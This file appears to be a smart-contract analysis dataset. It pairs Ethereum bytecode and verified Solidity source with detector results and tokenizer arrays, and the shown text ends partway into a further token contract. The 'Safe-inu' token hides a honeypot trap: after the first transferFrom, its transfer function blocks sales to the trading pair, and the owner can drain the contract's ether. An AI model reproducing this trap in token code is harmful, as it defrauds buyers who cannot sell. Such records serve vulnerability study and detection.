093508392508501908490808284375094975050933594506107159350505050565b34801561025a57600080fd5b506102666004356108d6565b6040805161ffff9096168652600160a060020a03909416602086015284840192909252606084015215156080830152519081900360a00190f35b3480156102ac57600080fd5b5061014b600160a060020a0360043516610926565b3480156102cd57600080fd5b506102dd61ffff60043516610970565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610319578181015183820152602001610301565b505050509050019250505060405180910390f35b34801561033957600080fd5b5061035561ffff60043516600160a060020a03602435166109ed565b6040805192835260208301919091528051918290030190f35b34801561037a57600080fd5b506102dd61ffff60043516610d6d565b34801561039657600080fd5b506103a961ffff60043516602435610dd3565b60408051918252519081900360200190f35b3480156103c757600080fd5b506103d3600435610e03565b60405180806020018961ffff1661ffff1681526020018881526020018760038111156103fb57fe5b60ff168152602001866000191660001916815260200185815260200184815260200183815260200182810382528a818151815260200191508051906020019080838360005b83811015610458578181015183820152602001610440565b50505050905090810190601f1680156104855780820380516001836020036101000a031916815260200191505b50995050505050505050505060405180910390f35b3480156104a657600080fd5b506103a9610ee9565b3480156104bb57600080fd5b506104c4610eef565b6040805161ffff9092168252519081900360200190f35b61014b61ffff60043516602435610ef9565b3480156104f957600080fd5b50610162611254565b34801561050e57600080fd5b506040805160206004803580820135838102808601850190965280855261014b9536959394602494938501929182918501908490808284375094975050509235600160a060020a0316935061126392505050565b34801561056e57600080fd5b5061014b600160a060020a036004351661129a565b61014b61ffff600435166024356112e4565b3480156105a157600080fd5b506103a961ffff60043516600160a060020a0360243516611433565b3480156105c957600080fd5b5061014b61ffff6004351660ff6024351661156b565b3480156105eb57600080fd5b506103a96116f8565b60005433600160a060020a039081169116148061061f575060015433600160a060020a039081169116145b151561062a57600080fd5b8060048361ffff1681548110151561063e57fe5b9060005260206000209060090201600801819055505050565b600054600160a060020a031681565b60005433600160a060020a0390811691161461068157600080fd5b60065481111561069057600080fd5b61069c600654826116fe565b600655604051600160a060020a0383169082156108fc029083906000818181858888f193505050501580156106d5573d6000803e3d6000fd5b505050565b60005433600160a060020a0390811691161480610705575060015433600160a060020a039081169116145b151561071057600080fd5b600755565b6000805433600160a060020a0390811691161480610741575060015433600160a060020a039081169116145b151561074c57600080fd5b6001600461012060405190810160405280878152602001868152602001600061ffff168152602001600081526020016001600381111561078857fe5b81526000602080830182905242604084015260608301829052608090920187905283546001810180865594825290829020835180516009909302909101926107d592849290910190611760565b5060208281015180516107ee92600185019201906117de565b5060408201518160020160006101000a81548161ffff021916908361ffff1602179055506060820151816003015560808201518160040160006101000a81548160ff0219169083600381111561084057fe5b021790555060a082015160058083019190915560c0830151600683015560e08301516007830155610100909201516008909101555491900391506108899061ffff166001611715565b6005805461ffff191661ffff928316179055604080519183168252517fe9a0ce4278e8a0993adf3227f7efc1e8e1368c9bada91bfe835aed9416bb619a916020908290030190a150505050565b60038054829081106108e457fe5b6000918252602090912060049091020180546001820154600283015460039093015461ffff8316945062010000909204600160a060020a031692909160ff1685565b60005433600160a060020a0390811691161461094157600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b606060048261ffff1681548110151561098557fe5b90600052602060002090600902016001018054806020026020016040519081016040528092919081815260200182805480156109e157602002820191906000526020600020905b815481526001909101906020018083116109cc575b50505050509050919050565b6000806109f861181b565b60606000808080808080808d60026004805461ffff8416908110610a1857fe5b600091825260209091206004600990920201015460ff166003811115610a3a57fe5b14610a4457600080fd5b60048f61ffff16815481101515610a5757fe5b600091825260209182902060408051600993909302909101805460026001821615610100026000190190911604601f81018590049094028301610140908101909252610120830184815292939092849290918491840182828015610afc5780601f10610ad157610100808354040283529160200191610afc565b820191906000526020600020905b815481529060010190602001808311610adf57829003601f168201915b5050505050815260200160018201805480602002602001604051908101604052809291908181526020018280548015610b5557602002820191906000526020600020905b81548152600190910190602001808311610b40575b5050509183525050600282015461ffff1660208201526003808301546040830152600483015460609092019160ff1690811115610b8e57fe5b6003811115610b9957fe5b81526005820154602082015260068201546040820152600782015460608201526008909101546080909101529a50610bd08f610d6d565b9950600098506000975060009650600095505b8951861015610cb65760038a87815181101515610bfc57fe5b6020908102909101015181548110610c1057fe5b906000526020600020906004020194508a60a00151600019168560020154600019161415610c9a57610c46888660010154611715565b600386015490985060ff16158015610c7057508454600160a060020a038f81166201000090920416145b15610c9557610c83878660010154611715565b60038601805460ff1916600117905596505b610cab565b610ca8898660010154611715565b98505b600190950194610be3565b629896809350610ccf610cc98886611722565b8961174b565b9250610ce4610cde848b611722565b8561174b565b9150610cfb610cf483605a611722565b606461174b565b9c50610d07828e6116fe565b9b50610d138d88611715565b9c50610d216006548d611715565b600655604051600160a060020a038f16908e156108fc02908f906000818181858888f19350505050158015610d5a573d6000803e3d6000fd5b5050505050505050505050509250929050565b61ffff81166000908152600260209081526040918290208054835181840281018401909452808452606093928301828280156109e157602002820191906000526020600020905b815481526020019060010190808311610db45750505050509050919050565b600260205281600052604060002081815481101515610dee57fe5b90600052602060002001600091509150505481565b6004805482908110610e1157fe5b60009182526020918290206009919091020180546040805160026001841615610100026000190190931692909204601f810185900485028301850190915280825291935091839190830182828015610eaa5780601f10610e7f57610100808354040283529160200191610eaa565b820191906000526020600020905b815481529060010190602001808311610e8d57829003601f168201915b50505050600283015460038401546004850154600586015460068701546007880154600890980154969761ffff9095169693955060ff90921693909288565b60065481565b60055461ffff1681565b60008260016004805461ffff8416908110610f1057fe5b600091825260209091206004600990920201015460ff166003811115610f3257fe5b14610f3c57600080fd5b600754349080821015610f4e57600080fd5b8560048161ffff16815481101515610f6257fe5b90600052602060002090600902016008015460001480610fa457506004805461ffff8316908110610f8f57fe5b90600052602060002090600902016008015442105b1515610faf57600080fd5b7fce0b663565b6c600d9662757c37a6b58c430b9f5d4687fdcbfda966ce7e4c5e88760048961ffff16815481101515610fe457fe5b9060005260206000209060090201600801544260048b61ffff1681548110151561100a57fe5b6000918252602091829020600860099092020101546040805161ffff909616865291850193909352838101919091524291909110156060830152519081900360800190a16040805160a08101825261ffff808a16808352600160a060020a03338116602080860191825234868801908152606087018e815260006080890181815260038054600181810183559184529a516004808d027fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b810180549a51909b16620100000275ffffffffffffffffffffffffffffffffffffffff00001993909d1661ffff19909a1699909917919091169a909a1790975592517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85c86015590517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85d85015590517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85e909301805493151560ff199094169390931790925583825260028152958120805492830181558152949094209093018290558054919750919081106111b157fe5b60009182526020909120600990910201600201805461ffff198116600161ffff928316018216179091556004805434928a169081106111ec57fe5b600091825260209182902060036009909202010180549092019091556040805187815261ffff8a16928101929092523482820152517f56edd18095da65687e4ab7631bbfb083cf1aa367eec6916e7ee8e04382e535e99181900360600190a150505050505050565b600154600160a060020a031681565b60005b82518110156106d557611290838281518110151561128057fe5b90602001906020020151836109ed565b5050600101611266565b60005433600160a060020a039081169116146112b557600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b8160016004805461ffff84169081106112f957fe5b600091825260209091206004600990920201015460ff16600381111561131b57fe5b1461132557600080fd5b60005433600160a060020a0390811691161480611350575060015433600160a060020a039081169116145b151561135b57600080fd5b600260048461ffff1681548110151561137057fe5b60009182526020909120600460099092020101805460ff1916600183600381111561139757fe5b02179055504260048461ffff168154811015156113b057fe5b9060005260206000209060090201600701819055508160048461ffff168154811015156113d957fe5b6000918252602091829020600560099092020101919091556040805161ffff8616815291820184905280517f4c67ee61f6c6b83e303d8ae958a0666a75bc3bbaedfe766fe853549e397c34979281900390910190a1505050565b6000606081808560036004805461ffff841690811061144e57fe5b600091825260209091206004600990920201015460ff16600381111561147057fe5b1461147a57600080fd5b61148387610d6d565b935060009450600092505b835183101561152a57600384848151811015156114a757fe5b60209081029091010151815481106114bb57fe5b600091825260209091206004909102018054909250600160a060020a0387811662010000909204161480156114fa5750600382015460ff161515600114155b1561151f5761150d858360010154611715565b60038301805460ff1916600117905594505b60019092019161148e565b604051600160a060020a0387169086156108fc029087906000818181858888f19350505050158015611560573d6000803e3d6000fd5b505050505092915050565b60005433600160a060020a0390811691161480611596575060015433600160a060020a039081169116145b15156115a157600080fd5b60026004805461ffff85169081106115b557fe5b600091825260209091206004600990920201015460ff1660038111156115d757fe5b14156115e257600080fd5b7f39e29944244c03a72e93dd10c4afadec1953c95f0a3eda115620ee8dbab39f5d8260048461ffff1681548110151561161757fe5b60009182526020918290206004600990920201015460405161ffff8416815260ff90911691859190810183600381111561164d57fe5b60ff16815260200182600381111561166157fe5b60ff168152602001935050505060405180910390a18060048361ffff1681548110151561168a57fe5b60009182526020909120600460099092020101805460ff191660018360038111156116b157fe5b021790555060038160038111156116c457fe5b14156116f4574260048361ffff168154811015156116de57fe5b9060005260206000209060090201600701819055505b5050565b60075481565b60008282111561170a57fe5b508082035b92915050565b8181018281101561170f57fe5b60008215156117335750600061170f565b5081810281838281151561174357fe5b041461170f57fe5b6000818381151561175857fe5b049392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106117a157805160ff19168380011785556117ce565b828001600101855582156117ce579182015b828111156117ce5782518255916020019190600101906117b3565b506117da92915061186a565b5090565b8280548282559060005260206000209081019282156117ce579160200282015b828111156117ce57825182556020909201916001909101906117fe565b6040805161012081018252606080825260208201819052600092820183905281018290529060808201908152602001600080191681526020016000815260200160008152602001600081525090565b61188491905b808211156117da5760008155600101611870565b905600a165627a7a7230582075a23f5573fbd82ba1919ba647a92116ec7fe4a24c067b9951e650564fca2e3b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 17914, 2278, 27531, 25031, 2683, 2549, 7875, 8889, 4402, 2620, 16147, 21084, 2475, 2497, 27531, 4215, 2278, 2692, 2509, 27717, 2050, 28154, 6305, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2603, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 1039, 1027, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,684
0x95882b4fef1d3ae3bc7e05bc0bdce9df3b69b395
/** *Submitted for verification at etherScan.com on 2021-06-25 /* https://Safe-inu.finance https://twitter.com/Safe-inu https://t.me/Safe-inu */ pragma solidity >=0.5.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenERC20 is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "Safe-inu"; name = "Safe-inu"; decimals = 18; _totalSupply = 1000000000000000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } } contract Safeinu is TokenERC20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable { } }
0x6080604052600436106100fe5760003560e01c806381f4f39911610095578063c04365a911610064578063c04365a914610570578063cae9ca5114610587578063d4ee1d9014610691578063dd62ed3e146106e8578063f2fde38b1461076d576100fe565b806381f4f399146103c55780638da5cb5b1461041657806395d89b411461046d578063a9059cbb146104fd576100fe565b806323b872dd116100d157806323b872dd14610285578063313ce5671461031857806370a082311461034957806379ba5097146103ae576100fe565b806306fdde0314610100578063095ea7b31461019057806318160ddd146102035780631ee59f201461022e575b005b34801561010c57600080fd5b506101156107be565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015557808201518184015260208101905061013a565b50505050905090810190601f1680156101825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019c57600080fd5b506101e9600480360360408110156101b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061085c565b604051808215151515815260200191505060405180910390f35b34801561020f57600080fd5b5061021861094e565b6040518082815260200191505060405180910390f35b34801561023a57600080fd5b506102436109a9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561029157600080fd5b506102fe600480360360608110156102a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109cf565b604051808215151515815260200191505060405180910390f35b34801561032457600080fd5b5061032d610e14565b604051808260ff1660ff16815260200191505060405180910390f35b34801561035557600080fd5b506103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e27565b6040518082815260200191505060405180910390f35b3480156103ba57600080fd5b506103c3610e70565b005b3480156103d157600080fd5b50610414600480360360208110156103e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061100d565b005b34801561042257600080fd5b5061042b6110aa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047957600080fd5b506104826110cf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c25780820151818401526020810190506104a7565b50505050905090810190601f1680156104ef5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050957600080fd5b506105566004803603604081101561052057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116d565b604051808215151515815260200191505060405180910390f35b34801561057c57600080fd5b506105856113cc565b005b34801561059357600080fd5b50610677600480360360608110156105aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105f157600080fd5b82018360208201111561060357600080fd5b8035906020019184600183028401116401000000008311171561062557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611474565b604051808215151515815260200191505060405180910390f35b34801561069d57600080fd5b506106a66116a7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106f457600080fd5b506107576004803603604081101561070b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116cd565b6040518082815260200191505060405180910390f35b34801561077957600080fd5b506107bc6004803603602081101561079057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611754565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108545780601f1061082957610100808354040283529160200191610854565b820191906000526020600020905b81548152906001019060200180831161083757829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006109a4600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546005546117f190919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a5b5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610aa65782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b6b565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610bbd82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f190919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c8f82600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f190919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d6182600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180b90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eca57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461106657600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111655780601f1061113a57610100808354040283529160200191611165565b820191906000526020600020905b81548152906001019060200180831161114857829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61128582600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f190919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061131a82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180b90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461142557600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611470573d6000803e3d6000fd5b5050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561163557808201518184015260208101905061161a565b50505050905090810190601f1680156116625780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561168457600080fd5b505af1158015611698573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117ad57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561180057600080fd5b818303905092915050565b600081830190508281101561181f57600080fd5b9291505056fea265627a7a723158201a731bd2732fc38da8eca109a3bb7c792f98c8d151e024e47d9a3892c416ebe664736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 27814, 2620, 2475, 2497, 2549, 7959, 2546, 2487, 2094, 2509, 6679, 2509, 9818, 2581, 2063, 2692, 2629, 9818, 2692, 2497, 16409, 2063, 2683, 20952, 2509, 2497, 2575, 2683, 2497, 23499, 2629, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 4012, 2006, 25682, 1011, 5757, 1011, 2423, 1013, 1008, 16770, 1024, 1013, 1013, 3647, 1011, 1999, 2226, 1012, 5446, 16770, 1024, 1013, 1013, 10474, 1012, 4012, 1013, 3647, 1011, 1999, 2226, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 3647, 1011, 1999, 2226, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1019, 1012, 2459, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1039, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,685
0x95886adef68f59ede77364391e27e9140ac2bab6
// SPDX-License-Identifier: MIT /** /** Telegram: https://t.me/donkeykongeth Website: http://www.donkeykong.io Twitter: https://twitter.com/donkeykongeth */ pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0; pragma experimental ABIEncoderV2; ////// lib/openzeppelin-contracts/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) /* pragma solidity ^0.8.0; */ /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } ////// lib/openzeppelin-contracts/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) /* pragma solidity ^0.8.0; */ /* import "../utils/Context.sol"; */ /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any 